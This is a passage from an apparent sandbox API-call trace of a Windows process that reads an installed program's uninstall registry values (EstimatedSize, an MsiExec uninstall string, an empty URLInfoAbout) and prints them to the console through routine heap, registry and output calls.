(hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.121] GetProcessHeap () returned 0x3c0000 [0150.121] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.121] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x12c, pcbData=0x29f780*=0x4) returned 0x0 [0150.122] __iob_func () returned 0x7fefd702a80 [0150.122] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.122] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.122] _fileno (_File=0x7fefd702ab0) returned 1 [0150.122] _errno () returned 0x204bb0 [0150.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.122] _errno () returned 0x204bb0 [0150.122] GetFileType (hFile=0x50) returned 0x1 [0150.122] lstrlenW (lpString=" ") returned 4 [0150.122] GetConsoleOutputCP () returned 0x1b5 [0150.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.122] GetConsoleOutputCP () returned 0x1b5 [0150.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.122] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.122] lstrlenW (lpString="EstimatedSize") returned 13 [0150.122] __iob_func () returned 0x7fefd702a80 [0150.122] _fileno (_File=0x7fefd702ab0) returned 1 [0150.122] _errno () returned 0x204bb0 [0150.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.122] _errno () returned 0x204bb0 [0150.122] GetFileType (hFile=0x50) returned 0x1 [0150.122] lstrlenW (lpString="EstimatedSize") returned 13 [0150.122] GetConsoleOutputCP () returned 0x1b5 [0150.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.123] GetConsoleOutputCP () returned 0x1b5 [0150.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.123] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.123] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.123] __iob_func () returned 0x7fefd702a80 [0150.123] _fileno (_File=0x7fefd702ab0) returned 1 [0150.123] _errno () returned 0x204bb0 [0150.123] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.123] _errno () returned 0x204bb0 [0150.123] GetFileType (hFile=0x50) returned 0x1 [0150.123] lstrlenW (lpString=" ") returned 4 [0150.123] GetConsoleOutputCP () returned 0x1b5 [0150.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.123] GetConsoleOutputCP () returned 0x1b5 [0150.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.123] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.123] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.123] __iob_func () returned 0x7fefd702a80 [0150.123] _fileno (_File=0x7fefd702ab0) returned 1 [0150.123] _errno () returned 0x204bb0 [0150.123] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.124] _errno () returned 0x204bb0 [0150.124] GetFileType (hFile=0x50) returned 0x1 [0150.124] lstrlenW (lpString="REG_DWORD") returned 9 [0150.124] GetConsoleOutputCP () returned 0x1b5 [0150.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.124] GetConsoleOutputCP () returned 0x1b5 [0150.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.124] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.124] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.124] __iob_func () returned 0x7fefd702a80 [0150.124] _fileno (_File=0x7fefd702ab0) returned 1 [0150.124] _errno () returned 0x204bb0 [0150.124] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.124] _errno () returned 0x204bb0 [0150.124] GetFileType (hFile=0x50) returned 0x1 [0150.124] lstrlenW (lpString=" ") returned 4 [0150.124] GetConsoleOutputCP () returned 0x1b5 [0150.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.124] GetConsoleOutputCP () returned 0x1b5 [0150.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.125] __iob_func () returned 0x7fefd702a80 [0150.125] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.125] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x12c") returned 5 [0150.125] _fileno (_File=0x7fefd702ab0) returned 1 [0150.125] _errno () returned 0x204bb0 [0150.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.125] _errno () returned 0x204bb0 [0150.125] GetFileType (hFile=0x50) returned 0x1 [0150.125] lstrlenW (lpString="0x12c") returned 5 [0150.125] GetConsoleOutputCP () returned 0x1b5 [0150.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x12c", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0150.125] GetConsoleOutputCP () returned 0x1b5 [0150.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x12c", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x12c", lpUsedDefaultChar=0x0) returned 5 [0150.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0150.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.125] __iob_func () returned 0x7fefd702a80 [0150.125] _fileno (_File=0x7fefd702ab0) returned 1 [0150.125] _errno () returned 0x204bb0 [0150.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.125] _errno () returned 0x204bb0 [0150.125] GetFileType (hFile=0x50) returned 0x1 [0150.125] lstrlenW (lpString="\n") returned 1 [0150.125] GetConsoleOutputCP () returned 0x1b5 [0150.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.126] GetConsoleOutputCP () returned 0x1b5 [0150.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.126] GetProcessHeap () returned 0x3c0000 [0150.126] GetProcessHeap () returned 0x3c0000 [0150.126] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.126] GetProcessHeap () returned 0x3c0000 [0150.126] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.126] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.127] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.127] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.127] GetProcessHeap () returned 0x3c0000 [0150.127] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.127] GetProcessHeap () returned 0x3c0000 [0150.127] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.127] GetProcessHeap () returned 0x3c0000 [0150.127] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.127] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.127] __iob_func () returned 0x7fefd702a80 [0150.127] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.127] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.127] _fileno (_File=0x7fefd702ab0) returned 1 [0150.127] _errno () returned 0x204bb0 [0150.127] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.127] _errno () returned 0x204bb0 [0150.127] GetFileType (hFile=0x50) returned 0x1 [0150.127] lstrlenW (lpString=" ") returned 4 [0150.127] GetConsoleOutputCP () returned 0x1b5 [0150.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.127] GetConsoleOutputCP () returned 0x1b5 [0150.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.127] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.128] lstrlenW (lpString="UninstallString") returned 15 [0150.128] __iob_func () returned 0x7fefd702a80 [0150.128] _fileno (_File=0x7fefd702ab0) returned 1 [0150.128] _errno () returned 0x204bb0 [0150.128] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.128] _errno () returned 0x204bb0 [0150.128] GetFileType (hFile=0x50) returned 0x1 [0150.128] lstrlenW (lpString="UninstallString") returned 15 [0150.128] GetConsoleOutputCP () returned 0x1b5 [0150.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.128] GetConsoleOutputCP () returned 0x1b5 [0150.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.128] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.128] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.128] __iob_func () returned 0x7fefd702a80 [0150.128] _fileno (_File=0x7fefd702ab0) returned 1 [0150.128] _errno () returned 0x204bb0 [0150.128] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.128] _errno () returned 0x204bb0 [0150.128] GetFileType (hFile=0x50) returned 0x1 [0150.128] lstrlenW (lpString=" ") returned 4 [0150.128] GetConsoleOutputCP () returned 0x1b5 [0150.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.129] GetConsoleOutputCP () returned 0x1b5 [0150.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.129] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.129] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.129] __iob_func () returned 0x7fefd702a80 [0150.129] _fileno (_File=0x7fefd702ab0) returned 1 [0150.129] _errno () returned 0x204bb0 [0150.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.129] _errno () returned 0x204bb0 [0150.129] GetFileType (hFile=0x50) returned 0x1 [0150.129] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.129] GetConsoleOutputCP () returned 0x1b5 [0150.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.129] GetConsoleOutputCP () returned 0x1b5 [0150.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.129] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.129] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.129] __iob_func () returned 0x7fefd702a80 [0150.129] _fileno (_File=0x7fefd702ab0) returned 1 [0150.129] _errno () returned 0x204bb0 [0150.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.129] _errno () returned 0x204bb0 [0150.129] GetFileType (hFile=0x50) returned 0x1 [0150.129] lstrlenW (lpString=" ") returned 4 [0150.130] GetConsoleOutputCP () returned 0x1b5 [0150.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.130] GetConsoleOutputCP () returned 0x1b5 [0150.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.130] __iob_func () returned 0x7fefd702a80 [0150.130] _fileno (_File=0x7fefd702ab0) returned 1 [0150.130] _errno () returned 0x204bb0 [0150.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.130] _errno () returned 0x204bb0 [0150.130] GetFileType (hFile=0x50) returned 0x1 [0150.130] lstrlenW (lpString="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 52 [0150.130] GetConsoleOutputCP () returned 0x1b5 [0150.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.130] GetConsoleOutputCP () returned 0x1b5 [0150.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpUsedDefaultChar=0x0) returned 52 [0150.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.131] __iob_func () returned 0x7fefd702a80 [0150.131] _fileno (_File=0x7fefd702ab0) returned 1 [0150.131] _errno () returned 0x204bb0 [0150.131] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.131] _errno () returned 0x204bb0 [0150.131] GetFileType (hFile=0x50) returned 0x1 [0150.131] lstrlenW (lpString="\n") returned 1 [0150.131] GetConsoleOutputCP () returned 0x1b5 [0150.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.131] GetConsoleOutputCP () returned 0x1b5 [0150.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.131] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.131] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.131] GetProcessHeap () returned 0x3c0000 [0150.131] GetProcessHeap () returned 0x3c0000 [0150.131] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.131] GetProcessHeap () returned 0x3c0000 [0150.131] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.131] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.131] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.131] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.131] GetProcessHeap () returned 0x3c0000 [0150.131] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.131] GetProcessHeap () returned 0x3c0000 [0150.132] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.132] GetProcessHeap () returned 0x3c0000 [0150.132] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.132] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.132] __iob_func () returned 0x7fefd702a80 [0150.132] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.132] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.132] _fileno (_File=0x7fefd702ab0) returned 1 [0150.132] _errno () returned 0x204bb0 [0150.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.132] _errno () returned 0x204bb0 [0150.132] GetFileType (hFile=0x50) returned 0x1 [0150.132] lstrlenW (lpString=" ") returned 4 [0150.132] GetConsoleOutputCP () returned 0x1b5 [0150.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.132] GetConsoleOutputCP () returned 0x1b5 [0150.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.132] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.132] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.132] __iob_func () returned 0x7fefd702a80 [0150.132] _fileno (_File=0x7fefd702ab0) returned 1 [0150.132] _errno () returned 0x204bb0 [0150.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.132] _errno () returned 0x204bb0 [0150.132] GetFileType (hFile=0x50) returned 0x1 [0150.132] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.133] GetConsoleOutputCP () returned 0x1b5 [0150.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.133] GetConsoleOutputCP () returned 0x1b5 [0150.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0150.133] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.133] __iob_func () returned 0x7fefd702a80 [0150.133] _fileno (_File=0x7fefd702ab0) returned 1 [0150.133] _errno () returned 0x204bb0 [0150.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.133] _errno () returned 0x204bb0 [0150.133] GetFileType (hFile=0x50) returned 0x1 [0150.133] lstrlenW (lpString=" ") returned 4 [0150.133] GetConsoleOutputCP () returned 0x1b5 [0150.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.133] GetConsoleOutputCP () returned 0x1b5 [0150.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.133] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.134] __iob_func () returned 0x7fefd702a80 [0150.134] _fileno (_File=0x7fefd702ab0) returned 1 [0150.134] _errno () returned 0x204bb0 [0150.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.134] _errno () returned 0x204bb0 [0150.134] GetFileType (hFile=0x50) returned 0x1 [0150.134] lstrlenW (lpString="REG_SZ") returned 6 [0150.134] GetConsoleOutputCP () returned 0x1b5 [0150.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.134] GetConsoleOutputCP () returned 0x1b5 [0150.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.134] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.134] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.134] __iob_func () returned 0x7fefd702a80 [0150.134] _fileno (_File=0x7fefd702ab0) returned 1 [0150.134] _errno () returned 0x204bb0 [0150.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.134] _errno () returned 0x204bb0 [0150.134] GetFileType (hFile=0x50) returned 0x1 [0150.134] lstrlenW (lpString=" ") returned 4 [0150.134] GetConsoleOutputCP () returned 0x1b5 [0150.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 